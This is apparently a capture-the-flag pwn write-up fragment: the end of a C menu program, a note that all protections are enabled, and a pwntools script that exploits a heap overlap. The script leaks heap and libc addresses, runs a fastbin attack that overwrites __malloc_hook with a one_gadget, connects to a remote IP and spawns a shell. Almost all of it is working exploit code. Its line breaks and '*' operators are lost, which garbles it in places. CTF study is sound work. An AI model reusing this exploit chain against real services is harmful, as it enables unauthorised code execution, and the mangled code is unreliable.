setbuf(stdout, NULL); int cmd=0; while(1) { cmd = Menu(); if(cmd==1) InputName(); else if(cmd==2) ShowHost(); else if(cmd==3) Delete(); else break; } return 0;}
编译时保护全开
#! /usr/bin/python# coding=utf-8import sysfrom pwn import from random import randintcontext.log_level = 'debug'context(arch='amd64', os='linux')elf_path = "./pwn"elf = ELF(elf_path)libc = ELF('libc.so.6')def Log(name): log.success(name+' = '+hex(eval(name)))if(len(sys.argv)==1): #local cmd = [elf_path] sh = process(cmd) #proc_base = sh.libs()['/home/parallels/pwn']else: #remtoe sh = remote('118.190.62.234', 12435)def Num(n): sh.sendline(str(n))def Cmd(n): sh.recvuntil('>>') Num(n)def Name(idx, name): Cmd(1) sh.recvuntil('idx:') Num(idx) sh.recvuntil('len:') Num(len(name)) sh.sendline(name)def Show(idx): Cmd(2) sh.recvuntil('idx:') Num(idx)def Delete(idx): Cmd(3) sh.recvuntil('idx:') Num(idx)#chunk overlapName(0, '0'0x2F)Name(1, '0'0x40+'10')Name(2, '0'0x5F)Name(3, '0'0x1F)Delete(3)Name(3, '0'0x1F) #switch Name and HostName(10, '0'0x5F)Name(11, '0'0x5F)Name(12, '0'0x5F)Name(13, '0'0x5F)exp = '0'0x2950exp+= flat(0, 0x21, 0, 0) #B0's next chunkName(5, exp)Delete(1) #UB<=>(H0, 0x3030)#leak addrexp = '0'.ljust(0x7F, '\x00')Name(6, exp) #split UB chunk, H3's h_addr_list=UB's bkShow(3)sh.recvuntil('0'0x1F+'\n\n')heap_addr = u64(sh.recv(6).ljust(8, '\x00'))-0x358Log('heap_addr')sh.recv(17)libc.address = u64(sh.recv(6).ljust(8, '\x00'))-0x3c17a8Log('libc.address')#fastbin AttackDelete(10)exp = '0'0x4FName(7, exp)exp = '0'0x10exp+= flat(0, 0x71, libc.symbols['__malloc_hook']-0x23)exp = exp.ljust(0xBF, '0')Name(7, exp)Name(8, '0'0x5F)exp = '0'0x13exp+= p64(libc.address+0x462b8)Name(8, exp.ljust(0x5F, '0'))#gdb.attach(sh, '''#heap bins#telescope 0x202040+0x0000555555554000 48#break malloc#''')sh.interactive()'''NameArr telescope 0x202040+0x0000555555554000HostArr telescope 0x2020C0+0x0000555555554000BufferArr telescope 0x2022C0+0x0000555555554000 0x46262 execve("/bin/sh", rsp+0x40, environ)constraints: rax == NULL0x462b8 execve("/bin/sh", rsp+0x40, environ)constraints: [rsp+0x40] == NULL0xe66b5 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL'''